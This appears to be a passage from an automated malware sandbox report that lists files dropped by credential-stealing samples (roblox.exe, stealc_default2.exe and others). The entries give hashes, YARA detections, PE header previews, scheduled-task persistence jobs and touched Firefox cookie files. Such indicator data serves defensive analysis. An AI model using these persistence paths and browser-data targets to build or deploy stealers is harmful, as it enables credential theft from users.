SSDEEP:	49152:Hvisa2OcIo0UYN1YA2sBCT7I0XIU6iOGtlqNVwASO0AIjoI+b0vjemXSKSDhxlT3:Pi/2PTYDBCT7NY+gTNxY7GbdJ295x
MD5:	81AD4F91BB10900E3E2E8EAF917F42C9
SHA1:	840F7AEF02CDA6672F0E3FC7A8D57F213DDD1DC6
SHA-256:	5F20D6CEC04685075781996A9F54A78DC44AB8E39EB5A2BCF3234E36BEF4B190
SHA-512:	11CD299D6812CDF6F0A74BA86EB44E9904CE4106167EBD6E0B81F60A5FCD04236CEF5CFF81E51ED391F5156430663056393DC07353C4A70A88024194768FFE9D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..(...(...(...!...:...8......8...,...8... ...8...9...c..&...G......(...+...`...V...(.....`...)...`...)...Rich(...........................PE..d....j.f.........." ...).`Z..V........X.......................................x...........`.........................................p.r.......r...............t...............x......Cj.T....................Cj.(....Aj.@............pZ..............................text...._Z......`Z................. ..`.rdata..ZR...pZ..T...dZ.............@..@.data....+....r.......r.............@....pdata........t.......s.............@..@.reloc........x.......w.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\frozenlist\_frozenlist.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	5.9308989665858585
Encrypted:	false
SSDEEP:	1536:ZmwCw3vZ1w4vI1FxF6S2s0suvV81dvUflo6vp9862WhFo1emYU+:Z/CwxqC+bsNlflo6h93FiemYL
MD5:	911470750962640CEB3FD11E2AEECD14
SHA1:	AF797451D4028841D92F771885CB9D81AFBA3F96
SHA-256:	5C204F6966526AF4DC0C0D6D29909B6F088C4FA781464F2948414D833B03094D
SHA-512:	637043C20DC17FBC472613C0E4F576F0A2211B7916B3488806AEC30271CF1BD84BD790518335B88910662FD4844F8ED39FA75AA278577271A966756B8CD793F7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._5..1f..1f..1f.f..1f..0g..1f..0g..1f..4g..1f..5g..1f..2g..1f..0g..1f..0fS.1f.q9g..1f.q1g..1f.q.f..1f.q3g..1fRich..1f........................PE..d.....{e.........." ...%.....t......p.....................................................`.........................................p6..h....6..x............p..4....................&...............................$..@...............(............................text............................... ..`.rdata...I.......J..................@..@.data...P....P.......2..............@....pdata..4....p.......@..............@..@.rsrc................L..............@..@.reloc...............N..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3439512
Entropy (8bit):	6.096012359425593
Encrypted:	false
SSDEEP:	98304:kw+jlHDGV+EafwAlViBksm1CPwDv3uFfJ1:1slHDG2fwAriXm1CPwDv3uFfJ1
MD5:	AB01C808BED8164133E5279595437D3D
SHA1:	0F512756A8DB22576EC2E20CF0CAFEC7786FB12B
SHA-256:	9C0A0A11629CCED6A064932E95A0158EE936739D75A56338702FED97CB0BAD55
SHA-512:	4043CDA02F6950ABDC47413CFD8A0BA5C462F16BCD4F339F9F5A690823F4D0916478CAB5CAE81A3D5B03A8A196E17A716B06AFEE3F92DEC3102E3BBC674774F2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........R.m.R.m.R.m.[...@.m.0.l.P.m.0.h.^.m.0.i.Z.m.0.n.V.m.R.l..m..l.Y.m...n.O.m...i.+.m...m.S.m....S.m...o.S.m.RichR.m.........................PE..d...`.0b.........." ......$...................................................5......4...`..........................................x/..h...:4.@....p4.\|....p2.8....\4.......4..O....,.8...........................`.,.@............04..............................text.....$.......$................. ..`.rdata........$.......$.............@..@.data...!z....1..,....1.............@....pdata.......p2.......1.............@..@.idata..^#...04..$....3.............@..@.00cfg..u....`4.......3.............@..@.rsrc...\|....p4.......3.............@..@.reloc...y....4..z....3.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\libffi-7.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32792
Entropy (8bit):	6.3566777719925565
Encrypted:	false
SSDEEP:	384:2nypDwZH1XYEMXvdQOsNFYzsQDELCvURDa7qscTHstU0NsICwHLZxXYIoBneEAR8:2l0Vn5Q28J8qsqMttktDxOpWDG4yKRF
MD5:	EEF7981412BE8EA459064D3090F4B3AA
SHA1:	C60DA4830CE27AFC234B3C3014C583F7F0A5A925
SHA-256:	F60DD9F2FCBD495674DFC1555EFFB710EB081FC7D4CAE5FA58C438AB50405081
SHA-512:	DC9FF4202F74A13CA9949A123DFF4C0223DA969F49E9348FEAF93DA4470F7BE82CFA1D392566EAAA836D77DDE7193FED15A8395509F72A0E9F97C66C0A096016
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6.3.r}]Ar}]Ar}]A{..Ap}]A .\@p}]A..\@q}]Ar}\AU}]A .X@~}]A .Y@z}]A .^@q}]A..Y@t}]A..^@s}]A..]@s}]A.._@s}]ARichr}]A........................PE..d......].........." .....F...$.......I....................................................`..........................................j.......m..P....................f...............b...............................b...............`.. ............................text....D.......F.................. ..`.rdata..H....`.......J..............@..@.data................^..............@....pdata...............`..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\libssl-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	698784
Entropy (8bit):	5.533720236597082
Encrypted:	false
SSDEEP:	12288:waXWJ978LddzAPcWTWxYx2OCf2QmAr39Zu+DIpEpXKWRq0qwMUxQU2lvz:dddzAjKnD/QGXKzpwMUCU2lvz
MD5:	DE72697933D7673279FB85FD48D1A4DD
SHA1:	085FD4C6FB6D89FFCC9B2741947B74F0766FC383
SHA-256:	ED1C8769F5096AFD000FC730A37B11177FCF90890345071AB7FBCEAC684D571F
SHA-512:	0FD4678C65DA181D7C27B19056D5AB0E5DD0E9714E9606E524CDAD9E46EC4D0B35FE22D594282309F718B30E065F6896674D3EDCE6B3B0C8EB637A3680715C2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{.T.?.:.?.:.?.:.6f..3.:.]f;.=.:..l;.=.:.]f?.3.:.]f>.7.:.]f9.;.:..g;.<.:.?.;...:..g>...:..g:.>.:..g.>.:..g8.>.:.Rich?.:.........PE..d.....0b.........." .....<...T......<................................................[....`.........................................00...N..HE..........s.......\|M..............h... ...8...............................@............0..H............................text....:.......<.................. ..`.rdata..:....P...0...@..............@..@.data...AM.......D...p..............@....pdata..dV.......X..................@..@.idata..PW...0...X..................@..@.00cfg..u............d..............@..@.rsrc...s............f..............@..@.reloc..a............n..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\multidict\_multidict.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	47616
Entropy (8bit):	5.316469446718147
Encrypted:	false
SSDEEP:	768:3Y2vE6F6hmSrnDe651sYEYMXMBkYcE6n0/d3g:oAoVDeWlEEBkYcDni
MD5:	95463F615865A472F75DDB365644A571
SHA1:	91F22EF3F2FFD3E9D6CE6E58BEEA9A96287B090B
SHA-256:	9EE77474D244A17337D4CCC5113FE4AF7B4D86F9969293A884927718D06E63C8
SHA-512:	E3CCCCE9EBF5E7CF33E68046D3E7B59E454CCB791635EB5F405977FD270126EF8B58E6288DBE58C96B681361D81EF28720EBA8D0BD389BFB0F4C3114D098A117
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o.T.............v?............v........................&{................................S.............Rich............PE..d....\|.f.........." ...).\...`......`^....................................................`.............................................d.......d...............................L.......................................@............p...............................text....Z.......\.................. ..`.rdata...,...p.......`..............@..@.data....#..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..L...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\pyexpat.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	198568
Entropy (8bit):	6.360283939217406
Encrypted:	false
SSDEEP:	3072:rkPTemtXBsiLC/QOSL6XZIMuPbBV3Dy9zeL9ef93d1BVdOd8dVyio0OwUpz1RPoi:AKmVG/pxIMuPbBFEFDBwpp2W
MD5:	6BC89EBC4014A8DB39E468F54AAAFA5E
SHA1:	68D04E760365F18B20F50A78C60CCFDE52F7FCD8
SHA-256:	DBE6E7BE3A7418811BD5987B0766D8D660190D867CD42F8ED79E70D868E8AA43
SHA-512:	B7A6A383EB131DEB83EEE7CC134307F8545FB7D043130777A8A9A37311B64342E5A774898EDD73D80230AB871C4D0AA0B776187FA4EDEC0CCDE5B9486DBAA626
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......O...........6...k.....k.....k.....k.....o............\|.o.....o.....o.Z...o.....Rich..................PE..d....K.b.........." ... ............0................................................0....`.........................................`...P................................)..........@6..T............................5..@............ ...............................text...K........................... ..`.rdata....... ......................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\python3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64936
Entropy (8bit):	6.1037683983631625
Encrypted:	false
SSDEEP:	768:kD8LeBLeeFtp5V1BfO2yvSk70QZF1nEyjnskQkr/RFB1qucwdBeCw0myou6ZwJqL:kDwewnvtjnsfwaVISQ0a7SydEnn
MD5:	07BD9F1E651AD2409FD0B7D706BE6071
SHA1:	DFEB2221527474A681D6D8B16A5C378847C59D33
SHA-256:	5D78CD1365EA9AE4E95872576CFA4055342F1E80B06F3051CF91D564B6CD09F5
SHA-512:	DEF31D2DF95CB7999CE1F55479B2FF7A3CB70E9FC4778FC50803F688448305454FBBF82B5A75032F182DFF663A6D91D303EF72E3D2CA9F2A1B032956EC1A0E2A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........f..A.e.A.e.A.e.%}m.@.e.%}e.@.e.%}..@.e.%}g.@.e.RichA.e.........................PE..d....K.b.........." ... ..................................................................`.........................................`...`................................)..............T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\python310.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4493736
Entropy (8bit):	6.465157771728023
Encrypted:	false
SSDEEP:	49152:5vL1txd/8sCmiAiPw+RxtLzli0Im3wOc+28Ivu31WfbF9PtF+FNDHaSclAaBlh7y:Dw7Ad07RmodacSeSHCMTbSp4PS
MD5:	C80B5CB43E5FE7948C3562C1FFF1254E
SHA1:	F73CB1FB9445C96ECD56B984A1822E502E71AB9D
SHA-256:	058925E4BBFCB460A3C00EC824B8390583BAEF0C780A7C7FF01D43D9EEC45F20
SHA-512:	FAA97A9D5D2A0BF78123F19F8657C24921B907268938C26F79E1DF6D667F7BEE564259A3A11022E8629996406CDA9FA00434BB2B1DE3E10B9BDDC59708DBAD81
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+.o...o...o.......m.......b.......c.......g.......k...f.`.u......f...o...3..............n.......n.......n...Richo...................PE..d....K.b.........." ... ..#...!.....\|!........................................E.....{.D...`..........................................G=.......>.\|.....E.......B......hD..)....E..t...Q%.T...........................`P%.@.............#.0............................text.....#.......#................. ..`.rdata...\....#..^....#.............@..@.data... ....0>.......>.............@....pdata........B.. ....A.............@..@PyRuntim`.....D.......C.............@....rsrc.........E.......C.............@..@.reloc...t....E..v....C.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\select.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29096
Entropy (8bit):	6.4767692602677815
Encrypted:	false
SSDEEP:	384:rPxHeWt+twhCBsHqF2BMXR6VIS7GuIYiSy1pCQkyw24i/8E9VFL2Ut8JU:ZeS+twhC6HqwmYVIS7GjYiSyv7VeEdH
MD5:	ADC412384B7E1254D11E62E451DEF8E9
SHA1:	04E6DFF4A65234406B9BC9D9F2DCFE8E30481829
SHA-256:	68B80009AB656FFE811D680585FAC3D4F9C1B45F29D48C67EA2B3580EC4D86A1
SHA-512:	F250F1236882668B2686BD42E1C334C60DA7ABEC3A208EBEBDEE84A74D7C4C6B1BC79EED7241BC7012E4EF70A6651A32AA00E32A83F402475B479633581E0B07
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{?t..Q'..Q'..Q'.b.'..Q'.`P&..Q'.`T&..Q'.`U&..Q'.`R&..Q'.`P&..Q'..P'..Q'5hP&..Q'.`\&..Q'.`Q&..Q'.`.'..Q'.`S&..Q'Rich..Q'........................PE..d....K.b.........." ... .....2......................................................l.....`..........................................@..L....@..x....p.......`.......H...)......L....3..T............................2..@............0...............................text............................... ..`.rdata..H....0......................@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..L............F..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\sqlite3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1445800
Entropy (8bit):	6.579172773828651
Encrypted:	false
SSDEEP:	24576:tU3g/eNVQHzcayG7b99ZSYR4eXj98nXMuVp+qbLKeq98srCIS:ck3hbEAp8X9Vp+2q2gI
MD5:	926DC90BD9FAF4EFE1700564AA2A1700
SHA1:	763E5AF4BE07444395C2AB11550C70EE59284E6D
SHA-256:	50825EA8B431D86EC228D9FA6B643E2C70044C709F5D9471D779BE63FF18BCD0
SHA-512:	A8703FF97243AA3BC877F71C0514B47677B48834A0F2FEE54E203C0889A79CE37C648243DBFE2EE9E1573B3CA4D49C334E9BFE62541653125861A5398E2FE556
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\|{.............e.......g.......g.......g.......g......Po...............g.......g.......g.....g......Rich............PE..d....L.b.........." ... ..................................................... .......`....`..............................................!...................0...........)......\|...Pg..T............................f..@............ ..(............................text............................... ..`.rdata..D.... ......................@..@.data...0A.......8..................@....pdata.......0......................@..@.rsrc...............................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	16927232
Entropy (8bit):	6.302915230044252
Encrypted:	false
SSDEEP:	98304:t1AOB/8NakwZBOCjzAI3WtPV+SBMmL5kPAcEpbfNuHb9BwPmBPwYqMx7dF5C/qq6:t1AlAkDw/s05IrNpdc0
MD5:	D09A400F60C7A298E884F90539E9C72F
SHA1:	41582BA130BEF907E24F87534E7A0FDD37025101
SHA-256:	700962AA295E2FA207FF522E2F5CA051A2929EB6F252D42C9CB0A56A4F084BFE
SHA-512:	D8BA2859BB2EA109C1CA33CB924E40BF61DB79AEFB59324101D9F47A08835D86834790D3BC6BAD4151A561EF82265B32D5111BC80F95DCE769C5EB4DA5116CC9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...(b[g...............+.....F......%..........@.....................................8....`.....................................................49.......R......G.......................................... N..(.......................(............................text...X...........................`..`.data...0....0....... ..............@....rdata..............................@..@.eh_fram.............\|..............@....pdata...G.......H...~..............@..@.xdata.............................@..@.bss.....................................idata..49.......:...z..............@....CRT....`..........................@....tls...............................@....rsrc.....R......R.................@..@.reloc...............>..............@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1121192
Entropy (8bit):	5.384501252071814
Encrypted:	false
SSDEEP:	12288:bMYYMmuZ63NoQCb5Pfhnzr0ql8L8koM7IRG5eeme6VZyrIBHdQLhfFE+uz9O:AYYuXZV0m8wMMREtV6Vo4uYz9O
MD5:	102BBBB1F33CE7C007AAC08FE0A1A97E
SHA1:	9A8601BEA3E7D4C2FA6394611611CDA4FC76E219
SHA-256:	2CF6C5DEA30BB0584991B2065C052C22D258B6E15384447DCEA193FDCAC5F758
SHA-512:	A07731F314E73F7A9EA73576A89CCB8A0E55E53F9B5B82F53121B97B1814D905B17A2DA9BD2EDA9F9354FC3F15E3DEA7A613D7C9BC98C36BBA653743B24DFC32
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(..F...F...F......F..G...F..C...F..B...F..E...F...G...F.C.G...F...G...F...K...F...F...F.......F...D...F.Rich..F.........................PE..d....K.b.........." ... .B...........*.......................................@......Y.....`.............................................X...(........ ...................)...0......@b..T............................a..@............`..x............................text....A.......B.................. ..`.rdata......`.......F..............@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	98736
Entropy (8bit):	6.474996871326343
Encrypted:	false
SSDEEP:	1536:BxhUQePlHhR46rXHHGI+mAAD4AeDuXMycecb8i10DWZz:Bvk4wHH+mZD4ADAecb8G1
MD5:	F12681A472B9DD04A812E16096514974
SHA1:	6FD102EB3E0B0E6EEF08118D71F28702D1A9067C
SHA-256:	D66C3B47091CEB3F8D3CC165A43D285AE919211A0C0FCB74491EE574D8D464F8
SHA-512:	7D3ACCBF84DE73FB0C5C0DE812A9ED600D39CD7ED0F99527CA86A57CE63F48765A370E913E3A46FFC2CCD48EE07D823DAFDD157710EEF9E7CC1EB7505DC323A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A.&k..H8..H8..H8.I9..H8...8..H8..I8(.H8e.K9..H8e.L9..H8e.M9..H8e.H9..H8e..8..H8e.J9..H8Rich..H8................PE..d....9............" ... .....`......`.....................................................`A........................................0C..4...dK...............p..p....Z...'...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......B..............@....pdata..p....p.......F..............@..@_RDATA..\............R..............@..@.rsrc................T..............@..@.reloc...............X..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\yarl\_helpers_c.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	54784
Entropy (8bit):	5.745430306227729
Encrypted:	false
SSDEEP:	768:luW10HHYD8RU55Wo0YixccXdyNkj32cf4p9hQQv5QbxiXjoltOanMvydo:lueEHBMIo0ZxcEyNOn4/+iXjYMvy
MD5:	6FB550DDAEE31AFEDD29BDB97E2525F2
SHA1:	B58257F37C581F143176D0C7ABD3A98FEC75A12F
SHA-256:	33A9B6F1CAEDE0DBC9EE83097DEA21C6DB0A5CABFF27F2917EA94CF47688E9DF
SHA-512:	DBEB69892C63238AEA76422815E45B7B1E12A7D2A0BCC6170F690B68EB56BC04C071413885FCE81CC6CE435D9C60C36D9B97C792C75C21541DB612C48124DF38
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o.Z.............v?..............v..............................f{...........................S...........Rich............................PE..d....X.f.........." ...).....Z...............................................0............`.........................................`...d.......d...............,............ ......`............................... ...@............................................text............................... ..`.rdata...8.......:..................@..@.data...0...........................@....pdata..,...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\yarl\_quoting_c.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	95744
Entropy (8bit):	5.981540506645796
Encrypted:	false
SSDEEP:	1536:rcNWyKPvIOrTasrpKBbylBwq9FJwHGa6NWfJc97JxtR:4wyyvIAasrEBOwIH0GaPJc97JxtR
MD5:	6809491F7B8AD46A7281E222CA71745A
SHA1:	138C75BFB03B1D54CD62FE14C3DC4501CB418397
SHA-256:	80660605AE26882225D02D130D0A84927635A79C78055C2EEDE010A28E84EB32
SHA-512:	97B498E3F69DE6CCC4F3373683D9E2AAE67CBE2532508A7677738702BBAF02EBD7C05C26E53CEBB076F9943EEA59B1AC4B9F7EE71A1626B8E31E539D009B39E8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J..].....................;......E.......;.......;.......;.....................F:......F:......F:j.....F:......Rich............PE..d...!X.f.........." ...)..................................................................`..........................................X..d...4Y..x...............................,....G..............................PF..@............ ..`............................text............................... ..`.rdata...M... ...N..................@..@.data...@7...p.......Z..............@....pdata...............f..............@..@.rsrc................r..............@..@.reloc..,............t..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\Gxtuum.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.423174016926522
Encrypted:	false
SSDEEP:	6:y8qbXUhXUEZ+lX1MeNclfibtE9+AQy0lJEt0:yrr4Q1MeNclfia9+nV6t0
MD5:	E42BF9493FB28BBE7C87E997DD49F063
SHA1:	A16D00BF3967574B74F3B7095E268D7DE2AC5074
SHA-256:	AC72C8518971065955A1CE67FB4DBBE787F93714D46832BF8B18E94F1DF7D5F9
SHA-512:	B267DF8557B02D6E25C95D8C43B4C0EF0CD1EE222433C9F942A09CCFCC92E74CB7A9F15FE7CC4AD9A0BD978354246AEA553D038D1429245EA23A0984F7B0B963
Malicious:	false
Reputation:	unknown
Preview:	....f..,\.M.N.~..'4F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.2.3.a.0.8.9.2.e.f.8.\.G.x.t.u.u.m...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\Desktop\random.exe.6.exe
File Type:	data
Category:	dropped
Size (bytes):	304
Entropy (8bit):	3.4624178335403935
Encrypted:	false
SSDEEP:	6:vKfYbXlXUEZ+lX1lOJUPelkDdtE9+AQy0lYqut0:SfYr1Q1lOmeeDs9+nVxut0
MD5:	266C84C8EC898D62A693BFAEE1DB1B5A
SHA1:	3E331EB54F859588A7FC9E5B7826B84C61D3A7B9
SHA-256:	5FBD68A524F25E780EFCD87A0D6C80E8D11145905FAF7ED6307466263CC6DA4B
SHA-512:	332F5045218CEC50AD06A9D9D51275E76836ADDE00A4BF85DEB66CCA971DF4DF344FCC1C26041D487CF69629770FDA7A795F5BE2F135C22B7ABFE1E0EE4492D1
Malicious:	false
Reputation:	unknown
Preview:	.....o:..K...*.]9F.......<... .....s.......... ....................<.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................;.@3P.........................

C:\Windows\Tasks\defnur.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004899001\am209.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4127451403938736
Encrypted:	false
SSDEEP:	6:mstbXXUhXUEZ+lX18GCk4M6tE9+AQy0lJEt0:dL4Q18GV4MD9+nV6t0
MD5:	C0DF1D25F17D6F7D87901A15E62F52FF
SHA1:	39E5B0152BC9354921150FA752F9BD3D3F1CADEA
SHA-256:	9A1539A280888F818B24DD22917362E09FE1529FBF2F7A00EADE43BFB15C8874
SHA-512:	429C493EC2CAD7577AD203046229B531EF7063E4C66E51632C0D7BB316102882B293946BBD3490C83E0A0F43C449F8EF8F0981EBB4BF71A21ADD6FE57D2194B6
Malicious:	false
Reputation:	unknown
